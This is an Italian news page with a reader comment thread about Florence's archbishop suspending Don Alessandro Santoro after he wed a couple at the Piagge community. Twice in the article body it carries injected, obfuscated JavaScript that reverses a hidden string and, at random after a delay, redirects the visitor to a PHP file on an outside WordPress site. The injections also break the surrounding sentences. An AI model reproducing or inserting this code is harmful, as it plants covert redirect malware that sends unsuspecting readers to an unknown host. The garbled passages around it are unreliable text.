"Nessuna sfida, solo obbedienza al Vangelo". Ma il vescovo sospende Don Santoro

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S (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andra e Fortunato stanno insieme da 30 anni. Alessandro Santoro e la sua gente camminano insieme da 15.

Ieri alle Piagge si respirava un’atmosfera insolita per un matrimonio. Tutto era come sempre: le sedie messe in circolo, il grande crocefisso di legno$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2009/10/Ale_pensa.jpg”>Ale_pensa, cartelloni, disegni e documenti a testimoniare le tante attività svolte dentro questo luogo di incontro, che è chiesa, scuola, redazione, sala riunioni. C’erano come sempre tanti bambini, seduti accanto al prete, dietro l’altare, più o meno silenziosi ma certo partecipi di un momento importante, forse storico. C’era la gente delle Piagge, raccolta e pensierosa, con l’animo in subbuglio e il fiato sospeso.

Perché ieri due persone consacravano la loro unione, già benedetta da 30 anni di amore e fiducia, ma un’altra unione era lì sull’altare, pronta al sacrificio in nome dell’obbedienza. Non quella al diritto canonico: l’obbedienza al precetto di amore del Vangelo. A questa obbedienza Santoro non può non adempiere, come ha spiegato durante la messa, ed è per fedeltà verso la sua gente che non ha potuto non celebrare questo matrimonio.

L’unione di Sandra e Fortunato, ha detto ancora Santoro, è amata da Dio. A questo proposito ha citato un episodio narrato negli Atti degli Apostoli, quando lo Spirito Santo discende anche sui non circoncisi. Un segno dell’accoglienza di Dio anche per i “non conformi”, la stessa accoglienza che è stata alla base di tutta le azioni della Comunità delle Piagge, un modo di agire del resto ovvio, naturale e imprescindibile in un quartiere dove la realtà vera delle persone è fatta di passi falsi, incidenti, peccati ed omissioni. Come tutta la realtà umana.

Alessandro Santoro, prete, si è immerso in questa realtà difficile e spigolosa, l’ha condivisa, ci ha fatto a pugni, l’ha abbracciata, l’ha fatta sua. Certo anche a questo pensava nel lungo momento di preghiera e riflessione che lo ha visto appoggiarsi alla parete sotto la croce, con la testa fra le mani. Intanto il canto parla di cose passate a cui non pensare più, di cose nuove che fioriranno, e la commozione sale. Tanti hanno gli occhi lucidi, qualcuno piange apertamente. Il pensiero corre al dopo. Cosa succederà adesso, come reagirà la Curia? Sospensione, allontanamento? Qualunque cosa sarà, dovremo accettarla: su questo punto Santoro è fermo. Il matrimonio si celebra, gli anelli benedetti vengono scambiati, gli sposi si promettono amore e fedeltà. Tutti ci stringiamo le mani, in un abbraccio collettivo che è un flusso di energia e una promessa per il futuro. Continueremo, ci saremo, resisteremo. Anche se questo sacramento probabilmente sarà annullato, ricorda Santoro agli sposi, non lo sarà per noi, non lo sarà per Dio, che vi ama.

Potremmo dire: l’uomo non separi ciò che Dio ha unito. Certi che vale anche per la Comunità delle Piagge.

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ULTIM’ORA: Alessandro Santoro è sollevato “a partire da questo momento dalla cura pastorale della comunita’ delle Piagge”.

(AGI) – Firenze, 26 ott. – “Ieri mattina, domenica 25 ottobre, presso la comunita’ delle Piagge a Firenze, si e’ compiuta la simulazione di un sacramento, ponendo un atto privo di ogni valore ed efficacia, in quanto mancante degli elementi costitutivi del matrimonio religioso che si voleva celebrare”.

Cosi’ la chiesa di Firenze, in un comunicato, prende posizione in merito alla celebrazione avvenuta ieri a Firenze dove Don Santoro ha celebrato le nozze di una ‘donna’ nata uomo. “Tale simulazione – si legge nella nota – e’ stata posta in atto da don Alessandro Santoro in contrasto con le disposizioni piu’ volte dategli dai superiori, primo fra tutti il “precetto” che gli fu formalmente intimato dal Cardinale Ennio Antonelli il 15 gennaio 2008, successivamente rinnovato nei colloqui e negli scritti intercorsi con l’Arcivescovo Giuseppe Betori”. Un “atto – prosegue – che assume particolare gravita’ in quanto genera inganno nei riguardi delle due persone coinvolte, che hanno potuto ritenere di aver celebrato un sacramento laddove cio’ era impossibile, nonche’ sconcerto e confusione nella comunita’ cristiana e nell’opinione pubblica, indotta a pensare che per la Chiesa siano mutate le condizioni essenziali per contrarre matrimonio canonico”. “Gesti come quello posto da don Alessandro Santoro – si legge ancora – contraddicono il ministero di pastore di una comunita’, per la quale il sacerdote deve rappresentare la voce autentica dell’insegnamento dottrinale e della prassi sacramentale della Chiesa cattolica”. All’Arcivescovo di Firenze non resta pertanto che riconoscere con dolore e preoccupazione questo dato di fatto e, come preannunciato allo stesso don Santoro, sollevarlo a partire da questo momento dalla cura pastorale della comunita’ delle Piagge che gli era stata formalmente affidata come cappellania il 14 settembre 2006, ma presso la quale egli ha svolto azione pastorale fin dal 1994.
L’Arcivescovo chiede a don Alessandro Santoro “di vivere un periodo di riflessione e di preghiera”.

0 Comments

  1. ugo

    ieri, dopo tanto tempo in cui la mia spiritualità si è sviluppata nellesegesi biblica con alcuni amici ma fuori dalla messa domenicale, abbiamo deciso con la mia compagna di “tornare a Messa” nella parrocchia a noi vicina perché abbiamo deciso di mandarci il più piccolo dei nostri figli a catechismo… Una scelta dettata dal fatto che crediamo che come noi anche lui abbia bisogno di sperimentare, con spirito critico, la comunità parrocchaile, per poi speriamo trovare il suo modo di vivere i valori cristiani.
    La notizia che viene dalle piagge non ci fa cambiare intendimento, anzi rafforza l’idea che la chiesa sia prima di tutto nelle comunità che vivono il vangelo e che sono vicine alle persone.
    Condividiamo il gesto di Alessandro e ci preoccupiamo per la sua comunità che speriamo gli stia vicino. La chiesa non ha avuto problemi a benedire dittatori o mafiosi, ma il sesso rimane la sua fobia al di là delle apertura rivoluzionarie che gesù ha avuto per il suo tempo, sempre guardando al cuore delle persone.
    Ad alessandro i nostri auguri migliori ed un abbraccio per affrontare il cammino che si è scelto al meglio. Ti siamo vicini.

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  2. paolo piazzesi

    L’atto di Betori è barbarie. Solidarietà a don Santoro in tutte le forme possibili. Non sono religioso né tanto meno cattolico, ma accetto e combatto una battaglia per difendere i diritti delle persone. Se Betori solleva Santoro, solleviamo Betori, ma molto in alto, ché possa vedere le cose da un’altra, più ampia e più fraterna prospettiva.

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  3. alessandro cristofaro

    Mi limito a sottolineare un aspetto, altrimenti forse eccederei nella foga o scadrei nell’offesa.
    Qualche anno fa dei fedeli denicniarono al vescovo che un prete fiorentino compiva “abusi sessuali pluriaggravati e continuati su minori», configurabili come pedofilia e pederastia, poiché le presunte violenze sarebbero avvenute sia nei confronti di bambini che di ragazzi di ambo i sessi”.
    A seguito delle accuse il prete, come tutti ricorderete “venne rimosso dal suo incarico nella parrocchia Regina della pace nel settembre 2005, con motivazione ufficiale: «problemi di salute» e viene trasferito a 30 km circa”.
    Dunque, per la chiesa (anche limitandosi a quella fiorentina) un prete che da 30 anni abusa di bambini rovinandogli la vita e un prete che migliora sotto ogni profilo la vita di un quartiere, salva tossici e immigrati, va in carcere, fa microcredito alle persone per farle sfuggire all’usura, e alla fine sposa due persone che si amano, sono sullo stesso piano.
    Fulgido esempio di coerenza evangelica.
    Questa chiesa di ipocrisia, miseria e potere, mi fa pena.

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  4. Chiara

    don Alessandro, resisti… hai obbedito al vangelo e questa è la gioia più grande che potessi donare al tuo popolo… il Signore ti benedica e ti protegga, faccia risplendere il suo volto su di te e ti dia Pace! Il tuo sacerdozio è prezioso per tutti coloro che cercano il Signore nella verità… non ti conosco personalmente, ma vorrei abbracciarti forte in questo momento così difficile…

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  5. maria

    mi ritengo cristiana, e cerco di seguire gli insegnamenti di un uomo vissuto 2000 anni fa, ma non cattolica, perchè non ritrovo questi insegnamenti nella chiesa: don santoro è un prete cristiano, prima che cattolico, e se la chiesa si comportasse come lui ritroverebbe quell’amore verso che ormai non conosce più.

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  6. Gabriele Vannini

    Esprimo la mia vicinanza a Don Alessandro Santoro, allontanato dall’esercizio della sua cura pastorale con un atto di superbia e di imperio della curia fiorentina. Nei 15 anni di impegno civile e religioso alle Piagge Alessandro ha saputo costruire non solo un segno di speranza e di riscatto ma anche una sostanza reale di cambiamento, fatta di attività, servizi, gesti concreti di solidarietà, proponendosi come una delle presenze più autorevoli della città, al di là delle appartenenze confessionali, al di là degli schieramenti politici.
    Le scelte forti e radicali, da lui non solo dichiarate ma anche quotidianamente praticate, su temi caldi come la pace, la casa, l’immigrazione, la sicurezza, la bioetica, l’hanno spesso reso inviso non solo al clero ma pure al ceto politico mettendolo anche in conflitto con le amministrazioni fiorentine che si sono succedute. Né sono mancate recentemente le vigliacche provocazioni fasciste, come il violento raid che pochi mesi fa ha danneggiato il centro sociale di via Lombardia. Eppure nessuno come lui ha saputo attrarre energie e competenze, in tutte i settori sociali, in tutte le zone della città, con una forte trasversalità generazionale, confessionale, politica, intellettuale.
    Ci dobbiamo tutti chiedere -anche i suoi detrattori sia religiosi che politici- come sarebbe Firenze qualora fosse privata di una risorsa straordinaria come Alessandro Santoro.
    Spero che l’intera città sappia stringersi attorno ad Alessandro, facendogli sentire il suo calore, il suo affetto, la sua riconoscenza. Nel pieno rispetto, in ogni caso, della scelta che egli vorrà compiere.
    Un grande abbraccio, Gabriele Vannini

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  7. Claudina

    Solidarietà al prete di tutti, ditegli che lo stimo, per il coraggio, l’andare avanti, la coerenza pressochè unica nel panorama clericale che conosco, l’amore incondizionato verso i suoi simili e verso l’amore stesso…Grazie Don Alessandro, come direbbe mio marito anche “un’atea, capellona e comunista” come me non può che ringraziarti ed augurarsi che il tuo buon esempio si perpetui e si espanda…ti porterò come esempio a mia figlia…un abbraccio.

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  8. Narramondo Teatro

    Solidarietà, stima e affetto incondizionati per Alessandro.
    Il suo esempio, il suo vangelo quotidiano parla più di ogni altra cosa.

    “Siamo ciò che facciamo per cambiare quello che siamo”
    E. Galeano

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  9. Fabrizio e Silvia

    Non vorrei sembrare retorico ma in questi casi mi ritorna sempre in mente
    una delle Poesie da Svendborg di Bertolt Brecht,
    LA SCRITTA INVINCIBILE
    Al tempo della guerra mondiale
    in una cella del carcere italiano di San Carlo
    pieno di soldati arrestati, di ubriachi e di ladri,
    un soldato socialista incise sul muro col lapis copiativo:
    viva Lenin!
    Su, in alto, nella cella semibuia, appena visibile,
    ma scritto in maiuscole enormi.
    Quando i secondini videro, mandarono un imbianchino
    con un secchio di calce e quello,
    con un lungo pennello, imbiancò la scritta minacciosa.
    Ma siccome, con la sua calce,
    aveva seguito soltanto i caratteri
    ecco che c’è scritto nella cella, in bianco:
    viva Lenin!
    Soltanto un secondo imbianchino coprì il tutto con più largo pennello
    sì che per lunghe ore non si vide più nulla.
    Ma al mattino, quando la calce fu asciutta,
    ricomparve la scritta viva Lenin!
    Allora i secondini mandarono contro la scritta un muratore armato di
    coltello.
    E quello raschiò una lettera dopo l’altra, per un’ora buona.
    E quand’ebbe finito, c’era nella cella, ormai senza colore
    ma incisa a fondo nel muro, la scritta invincibile:
    viva Lenin!
    E ora levate il muro! disse il soldato.

    Il potere è troppo ottuso per vincere! Resistiamo!

    Un abbraccio a tutti
    Fabrizio e Silvia

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  10. Azione gay e lesbica

    Caro Alessandro, come saprai la nostra associazione è sempre stata critica nei confronti delle gerarchie vaticane e generalmente “distante” dalle vicende interne della chiesa cattolica; tuttavia non possiamo non riconoscere il coraggio e la coerenza che hai sempre dimostrato in varie occasioni, spesso in palese contrasto con le “direttive” della “chiesa ufficiale”.
    Oggi, celebrando un matrimonio “proibito” hai testimoniato la sincerità delle tue convinzioni, consapevole delle possibili conseguenze.
    Per queste ragioni apprezziamo il tuo operato e siamo vicini/e/* a te e a tutta la Comunità delle Piagge.

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  11. landini mariano

    Quando ero piccolo, la catechista ci diceva che la differenza fra Francesco e Lutero è che entrambi avevano ragione nel contestare la Chiesa nella sua mancanza di povertà evangelica, ma l’uno è diventato un grande santo, l’altro un eretico. Perché? Perché uno l’ha riformata rimanendone dentro, con buon esempio, obbedienza e santità di vita; l’altro voleva cambiarla dal di fuori, e con il suo orgoglio ha fatto più danno del danno che voleva sanare
    Caro don Alessandro, ho fiducia nella tua coscienza e quindi credo che la tua battaglia sia giusta, ma così facendo mi sa che hai scelto la strada di Lutero….

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  12. Federica

    Grazie Don Alessandro! l’amore di due persone e l’amore di Dio per noi tutti, va al di là della umana comprensione e al di là dei nostri limiti. Ma questo la Chiesa non lo capisce. Spesso la Chiesa è la cosa più lontana e distante che possa esserci da ciò che predicava Gesù, che viveva e testimoniava la presenza di Dio non certo in un tempio, ma tra gli Ultimi.

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  13. stefano benci

    Esprimo a don santoro e alla sua comunità la mia solidarietà e vicinanza. Sono convinto che sia stato seguito l’insegnamento di Gesù e anche se la Chiesa ha annullato il matrimonio di Sandra e Fortunato prego che la questa unione, celebrata da don Santoro, continuerà ad essere la cosa più bella della loro vita. Un abbraccio a tutti

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  14. meucx

    Il mio Ateismo militante non mi permette di entrare nel merito di cosa la religione cattolica deve fare o non fare.
    Mi astengo perciò da ogni considerazione che non sia la completa e incondizionata solidarietà ad Alessandro Santoro e a tutta la Comunità delle Piagge.
    Mi piacerebbe anche che questo episodio rappresenti l’inizio di una lunga riflessione sul rapporto tra fede in un Dio o fede verso un Istituzione.
    Come diceva Don Milani “l’obbedienza non è una virtù”.

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  15. sonia porcu

    Grazie Alessandro per l’insegnamento che continuamente ci offri con il tuo operato. Grazie per il tuo coraggio uguale solo a Don Milani e Balducci. La Chiesa ancora una volta ha dimostrato la sua lontananza dai cuori e dai veri bisogni della gente. Vai avanti così, siamo in tanti ad esserti vicino, saremo in tanti a dimostrare il nostro dissenso al tuo allontamento.

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  16. floriana

    come possiamo dare solidarietà?

    c’è un modo per fare qualcosa?

    e comunque se organizzate qualcosa noi ci saremo.

    ruggero e giulio

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  17. Urbano Cipriani

    Esplicatio terminorum:
    Betori, Ratzinger, gerarchia, opus dei, cl, concordato…= Vaticano
    Santoro, Piagge, Isolotto, tizio caio sempronio = Chiesa o casa nostra.
    Lo vogliamo capire o no?
    Smettiamola di piangere e diamo una ripulita in casa nostra.

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  18. Gufo Reale

    Dopo Don Enzo Mazzi all’Isolotto anche Don Alessandro Santoro alle Piagge entra nel “tritacarne” del potere ecclesiastico.Si benedicono i divorziati,i sepolcri imbiancati,i mafiosi, gli “escortisti” ma non si vogliono vedere “gli altri”, quelli che sono credenti “diversi” ,che fanno scandalo solo perché si vogliono bene e chiedono di celebrare anche in Chiesa una unione che hanno già celebrato in Comune. Vengano a trascorrere , qualche mese a Peretola -Brozzi-Quaracchi e a “prendersi la cura pastorale della comunità delle Piagge “,come ha fatto e fa da anni ,ogni giorno Don Alessandro Santoro, i porporati che dal “Palazzo vescovile” lo invitano a “vivere un periodo di riflessione e di preghiera” e poi ci facciano sapere!
    Bussate e vi sarà aperto ,diceva qualcuno..
    Don Alessandro Santoro le porte le ha sempre aperte a tutti e forse per questo è un prete scomodo. Molto meglio gli altri ,quelli che non solo le porte non le aprono, ma rinforzano i catenacci e chiudono gli occhi , poi tanto viene Natale e versano l’obolo, si confessano e stanno in pace per un altro anno.
    Resistere,resistere,resistere e tanta solidarietà ed un abbraccio ad Alessandro Santoro.

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  19. Massimo

    Grazie Alessandro …che bella la Vs Comunità delle Piagge.
    Non sono un cattolico praticante ma ho avuto modo in passato di conoscere Le Piagge, Villore, i vs. laboratori, il credito. Una esperienza bellissima che non potrà più essere fermata.
    Che bella la vs. comunità ………una Chiesa vicina a tutti e condivisa, la gente, i ragazzi, i progetti….Peccato che la coerenza di essere cristiani, di rispondere solo alle leggi semplici dell’amore e dell’umanità, metta sempre a disagio vescovi e potenti.

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  20. Lorenzo Porta

    Dalla periferia delle Piagge Alessandro Santoro ci dà una testimonianza di resistenza al fascino pericoloso del senso comune. un vescovo che vuole vivere la radicalità del messaggio cristiano dovrebbe andare fiero di un uomo e un prete come don Alessandro. Egli non concepisce l’obbiedienza come incenerimento della coscienza. Ora si tratta di dare solidarietà concreta a questo uomo e prete che la gerarchia può spedire ed impacchettare in una “Barbiana” dei nostri giorni: in una parrocchia della Firenze -bene dove ci sono tanti cuori tristi.
    un saluto solidale a don Santoro che non ho avuto ancora il piacere di conoscere personalmente.

    Lorenzo Porta
    presidente del Centro di documentazione sociale per la pace e i diritti umani ( CEDAS)

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  21. Laura

    Quando l’ho letto non ci potevo credere..proprio lui, quel prete che quando parla risuona dentro coloro che lo ascoltano, proprio lui che ha portato luce in un quartiere in ombra…proprio lui che mette in pratica la verità, la vive, la soffre, la migliora ogni giorno…proprio lui una voce fuori dal coro……..questo allontanamento dall’ambiente ipocrita e falso che è la chiesa non poteva che far riflettere quanto di più vero ci sia……uomini di grande valore come Santoro si distanziano sempre e ciò rende ancora più forte il loro messaggio di forza, di amore……Un abbraccio di solidarietà e stima profonda
    laura

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  22. Bernardo

    ciao Ale, spero tu legga queste righe; vorrei farti sapere che preghiamo affinchè tutto ciò che hai contribuito a costruire sia ormai così forte e radicato anche da sopravvivere alla tua presenza; sarebbe il regalo più bello che la tua comunità potrebbe farti (e anche un chiaro messaggio per il vescovo)

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  23. laura e ginetta

    Conoscendo la chiesa sia da un punto di vista storico sia per il fatto di essere nati e cresciuti in una comunità cristiana, questo accadimento non ci coglie impreparati.
    Forse è possibile stabilire una quota come indulgenza e potrebbe essere appianato tutto così come è successo in passato per alte cariche religiose; ma don Alessandro non pregava il dio del denaro bensì il dio dell’amore, signore e donno “quindi per questo dio poco conta se c’è un pisello in più o in meno”.
    Oltre al commento noi vorremmo potrer fare qualche cosa per manifestare tutta la nostra vicinanza a don Alessandro e alla comunità delle piagge, orfana.
    Se siete a conoscenza di iniziative in tal senso ci farebbe piacere essere informati all’indirizzo mail laura.berni@asf.toscana.it e ginetta.fusi@asf.toscana.it

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  24. Cristiano Vannucchi

    “Ti penso e Ti prego spesso,o Dio,
    e mi rivolgo a Te ogni giorno
    come al Padre e alla Madre della vita.
    Cerco in Te la sorgente ristoratrice
    le cui acque non vengono meno.

    Ieri sera nel libro del profeta Amos
    Ti ho scoperto come un leone che ruggisce
    e l’immagine mi è sembrata irriverente.
    Ho del leone la classica raffigurazione
    che sa di durezza, ferocia e aggressività.

    Eppure questa immagine di Te
    oggi parla intensamente al mio cuore.
    Sei il Dio – leone che ruggisce contro i potenti,
    gli sfruttatori, i latifondisti, i violenti
    che succhiano il sangue e la vita dei poveri.

    Tu se il leone che ruggisce, o Dio,
    contro coloro che gozzovigliano nei palazzi,
    coloro che calpestano i diritti dei più deboli,
    coloro che accumulano i frutti della violenza,
    coloro che vogliono far tacere i profeti.

    Sei un Dio di parte, il Dio dei deboli:
    il Tuo ruggito è invito a uscire dall’indecisione,
    a camminare con l’orfano, la vedova e lo straniero.
    Ci solleciti ad assumere le nostre responsabilità
    perché l’amore ha bisogno di coraggio.”

    Sono vicino ad Alessandro, confermandogli la mia stima e il mio affetto.
    Cristiano Vannucchi
    Segretario generale della Fondazione Un Raggio di Luce Onlus – Pistoia

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  25. daniela pappalardo

    ho ri-conosciuto la comunità Le Piagge, come molti, non per proclami e dichiarazioni di intento ma “dai frutti”, così come duemila anni fa fu raccomandato di identificare i profeti.
    esprimo solidarietà alla comunità e a don alessandro e prego affinchè questo disconoscimento della Chiesa-Istituzione rafforzi e intensifichi i legami della Chiesa-comunità

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  26. Giovanna

    Ma perché vi ostinate a rimanere nella chiesa cattolica? Diventate protestanti, visto che i dettami della chiesa vi vanno stretti.

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  27. maribù duniverse

    Anarchico e ateo ho potuto gioire nel seguire il servizio in TV del coraggioso prete don Santoro. Ma il mio dubbio rimane ancora, per lui e tanti come lui:
    cosa accomuna questi genuini e combattenti preti con con lo stato ipocrita, conservatore e retrogrado della chiesa cattolica ?

    un saluto di pace
    madu

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  28. marco

    prevedibile e gravissima la reazione del nostro vescovo……
    ovvia nel cammino di alessandro la scelta di riconoscere l’amore che dio nutre nei confronti di tutti noi a prescindere dalle nostre scelte di genere!posso solo dire che ,avendolo conosciuto,alessandro mi ha insegnato che esiste un dio che libera che ci dona libertà e forse questo è ciò che più spaventa !Che la voce arrivi a troppi a tutti e quindi è bene mettere a tacere “l’oracolo”! Peccato che il ruscello è ormai diventato un fiume in piena e come Gesù
    ha fatto i suoi discepoli pronti a professare il verbo al mondo.
    ricordate sempre “COLPIRNE UNO PER EDUCARNE CENTO”

    Reply
  29. Gianni Comoretto

    Conosco Alessandro da tanti anni, anche se le strade che abbiamo percorso non sempre si incrociavano. Oggi più che mai gli sono vicino, a lui e a tutta la bellissima comunità che ha fatto partire. Se posso fare qualcosa di concreto ci sono.

    Reply
  30. Fabrizio Bertini

    Noi del presidio per la non riapertura e per la definitiva chiusura dell’inceneritore di Montale avevamo promosso una giornata di solidarietà alla lotta in corso.
    Era una giornata uggiosa, pioveva a tratti. a fine mattinata abbiamo visto arrivare Don Santoro. Sinceramente non avrei pensato – tra le tante e i tanti che aspettavamo – che arrivasse anche lui.
    In quella stessa estate (2007), un sabato, sono andato al Luzzi a portare la solidarietà del presidio e a parlare della lotta contro l’ incenerimento e per rifiuti zero. C’ era un’assemblea degli occupanti contro lo sgombero, contro le rendite, per l’autorecupero. l’ intervento di don santoro mi è parso – tra i tanti – il più lucido e il più aperto al futuro. Non solo, anche il più radicale. Una seconda
    sorpresa. ho pensato tra me : ma ‘sti preti………..!
    questi sono due ricordi personali. poi c’è il tanto che sappiamo del suo impegno a favore degli ultimi, contro le nocività sociali e ambientali, contro la devastazione sociale del libero mercato e la mercificazione di uomini, donne e luoghi.

    La rimozione di Don Santoro è indecente: ancora una volta una chiesa – tra le tante – privilegia la forma sulla sostanza la verità la testimonianza.

    forse a suo modo, nella demenzialità oscena del provvedimento, è un segno: un invito a unire le diversità e le nostre personali quotidiane debolezze per costruire un altro luogo e una diversa città.

    Sono/siamo accanto a Don Santoro perché Don Santoro è stato ed è accanto a noi. E non è davvero un caso.

    fabrizio bertini
    del Collettivo Liberate gli Orsi, Pistoia

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  31. Speranzoso

    Ma dove trovate una religione carica e trasudante di amore e perdono come quella cattolica ? Non vi preoccupate andrà tutto bene anche per Santoro e gli sposi.

    Reply
  32. Rita

    Caro Don Alessandro, la voce di Dio parla forte e chiara attraverso di te, per questo sei tanto amato da chi ti conosce e così scomodo per chi questa voce preferisce non ascoltarla!

    Ho avuto la fortuna di conoscerti quando svolgevi al tua missione nella Parrocchia del Galluzzo e ho seguito in questi anni il tuo coraggioso operato. Non ho parole oggi per esprimere l’amarezza che ha suscitato in me questo gesto cieco che colpisce te, la tua comunità e tutti coloro che vivono la vera Fede, quella Fede che non è atto simbolico, fatto di riti, paramenti e parole vuote, ma fatta di Amore e Umiltà, quelli predicati da Gesù Cristo, vissuti quotidianamente accogliendo il Dio che è in ogni uomo che incontriamo.
    Lo si dovrebbe ricordare a Betori e a tutte le gerarchie ecclesiastiche: la vita è fatta di sofferenza e difficoltà, Gesù ha sempre aperto le braccia a tutti, la presunzione dimostrata in questa occasione dalla Chiesa, non si concilia con l’Amore infinito di Dio che non ha mai negato la sua Misericordia a nessuno.

    Vai avanti così, come il tuo cuore onesto ti consiglia, il Signore ti è vicino.

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  33. Pierangelo

    Caro Alessandro e comunità delle Piagge, chi apre nuove strade di Bene deve mettere in conto la reazione del Male. Vi vostenga,in questo momento, questa consapevolezza evangelica: state dando una mano non solo a questa chiesa così chiusa ma a tutta l’umanità, sostanzialmente,ad avanzare. State aprendo varchi che potranno permettere allo Spirito di evolvere verso traguardi più umani. Lo so che è poco consolante e anche un pò ambivalente dire questo ma credo profondamente a questo e vi ringrazio della vostra testimonianza. Vi saluta e vi sostiene tutta la resistenza di amiche e amici di Alessandro e quindi anche di tutti voi, di Caserta con in testa tante amiche/,il vescovo emerito Nogaro, i padri sacramentini di Casa Zaccheo e le suore orsoline di Casa Rut insieme alle ragazze della Cooperativa neWhope. Grazie

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  34. Sabrina Lombardi

    Esprimo piena solidarietà ad una delle poche persone che ha saputo credere fino in fondo alla sua missione. La chiesa ha dimostrato ancora una volta di essere lontana dalla realtà, cieca e maschilista. In questi stessi giorni Marrazzo sarà consolato dai prelati perchè lui, che ha gettato via figli, moglie, carriera e la sua rispettabilità ha sbagliato, si sa , l’uomo è cacciatore e ha i suoi “bisogni” (come insegnavano a mia nonna…) però è sposato con una donna e anche se non la ama e non la rispetta che importa? Ci dimostrano che il matrimonio non è basato sui sentimenti come amore , rispetto e lealtà, ma uno schifoso e sporco pezzo di carta dal quale devono nascere figli che il loro padre potrà umiliare. Grazie don Alessandro, grazie della tua sincerità.
    Sabrina Lombardi

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  35. francesco pignatelli

    Se sono membro di un’associazione di vegetariani, e maturo la convinzione che mangiare carne fa bene, esco dall’associazione e rinuncio all’idea di restarci per convincere gli altri soci che per essere veramente vegetariani occorre consumare carne..

    Quando molti anni fa ho maturato l’idee che non erano in linea ne’ con quelle dei dirigenti della chiesa, e nenache (francamente) con quelli della maggioranza degli iscritti, chiamiamoli cosi’, me ne sono uscito silenziosamente, senza accusare nessuno, senza avere la pretesa che tutta l’associazione dovesse cambiare idea per conformarsi alle mie opinioni.

    Oggi mi da fastidio quando quell’associazione pretende che anche i non iscritti debbano adeguarsi al suo regolamento, e lo fa ricorrendo a leggi dello stato. Oppure quando, sempre con la complicità dello stato, mi fa pagare più tasse per finanziare le sue attività e per stipendiare i suoi iscritti.

    Ma che quell’associazione chieda ai suoi iscritti di adeguarsi al regolamento di cui dovevano prendere visione al momento dell’iscrizione, questo francamente lo trovo ragionevole e per nulla scandaloso.

    Il sito http://www.eresie.it contiene un elenco di associazioni già costituite, con regolamenti in grado di soddisfare qualsiasi visione del mondo. Ciascuno si scelga quella che maggiormente risponde alle proprie idee, senza avere la pretesa di convincere gli altri membri della propria associazione a cambiare le loro opinioni.

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  36. Sabrina

    Il sesso è la grande fobia della Chiesa, eppure nel Vangelo non se ne parla proprio. Quanto distante è la prima dal secondo! L’unione di due persone che dura da trent’anni nell’amore, non merita la benedizione di Dio?
    Esprimo grande solidarietà e stima a Don Santoro e mi auguro vivamente che l’Arcivescovo Betori guardi dentro gli uomini e le donne, creazione di Dio, invece che nel diritto canonico, creazione della Chiesa.

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  37. lorena

    Sono nella Chiesa; vivo nella Chiesa e m’impegno per cambiarla.
    Mi rispecchio PERCIO’ in Don Alessandro, uomo che ama e che è amato da Dio; lo testimonia l’affetto e la solidarietà che raccoglie nel suo vivere il Vangelo.

    Grazie a Dio per l’amore di cui ci ha colmati.

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  38. IL FINALE E' ALLE PORTE

    La libertà è a portata di mano, lentamente si sta facendo strada nelle menti e nei cuori di molti e la comunità Le Piagge ne è l’esempio. Certo è, che, dove c’ è armonia non può esserci posto per le autorità. Non può esserci autorità in una comunità libera. Ciò mette in grande disagio il vecchio millenario sistema. Le autorità vogliono essere e rimanere tali e sanno di poter prosperare in contesti sociali dove conflitti e divisioni devono essere costanti.
    Ciò che è accaduto a Le Piagge è un altro tassello aggiunto alla crescita e alla consapevolezza di ognuno e di tutti.
    Un grande abbraccio e incoraggiamento a Don Alessandro Santoro e all’esemplare Comunità Le Piagge.
    renzo saracino

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  39. Alessandro Di Lenardo

    Perchè continuare a dar valore e importanza a chi (le varie religioni) tale impero se lo è costruito a tavolino con vari appigli spirituali modificati e rimaneggiati in base al momento storico. Forse è ora di mettere da parte le tante chiese e ritornare ad un sentimento spirituale che va ben al di la degli stermini perpetuati nei secoli dalle religioni e da porcate come questa che avvengono ancor oggi. E non dimentichiamo lapifazioni, sacrifici e quant’altro può far felici i vari dei del mondo. Sempre per mano, però, di uomini che si autoeleggono a loro… intermediari.

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  40. Mario

    Ho inviato questo messaggio al Vescovo Giuseppe Betori

    ALL’ATTENZIONE DEL VESCOVO GIUSEPPE BETORI

    Eccellenza, mi dispiace che abbia preso la decisione di rimuovere don Alessandro Santoro dal suo incarico.
    L’ho conosciuto durante un lungo incontro della Campagna Bilanci di Giustizia al quale ha partecipato, portandoci la sua esperienza di prete e di uomo alle Piagge.
    Le dico sinceramente che ho scelto di non frequentare più la chiesa, ma quando incontro persone come don Alessandro sento, in coscienza, che forse potrei ancora trovarci un nutrimento.
    Scelte come questa Sua mi rinforzano invece nell’idea che non ho niente da perdere.
    Glielo dico in tutta coscienza.
    La ringrazio per l’attenzione, consapevole che il suo ruolo non deve essere facile, e in qualche modo sono sicuro che sta cercando di fare del suo meglio.
    Io quando non so cosa decidere faccio quello che mi dice la mia coscienza.
    La saluto con rispetto.

    Mario T

    Caldiero (VR)

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  41. Lore

    Tutta la mia solidarietà alle scelte radicali e coraggiose che Don Santoro ha portato avanti da sempre. Dobbiamo resistere tutti insieme con convinzione e coerenza in una società che è sorda di fronte alla verità e che vive sull’ipocrisia.

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  42. Silvia Brandano

    Al caro “A”mico Alessandro, il mio più profondo sostegno per tutta questa sconcertante vicenda, che conferma quanto la Chiesa sia ancora ed ostinatamente cieca e lontana dalla realtà, volutamente miope delle persone che come Te sono realmente capaci di vivere e diffondere il Vangelo come Gesù aveva fatto e prescritto ai suoi discepoli. Il silenzio in questo momento è però la cosa migliore, accompagnato dalla preghiera e dalla speranza che questo sia solo un periodo di riflessione, che ci priverà della tua presenza.

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  43. fiorenza gemini

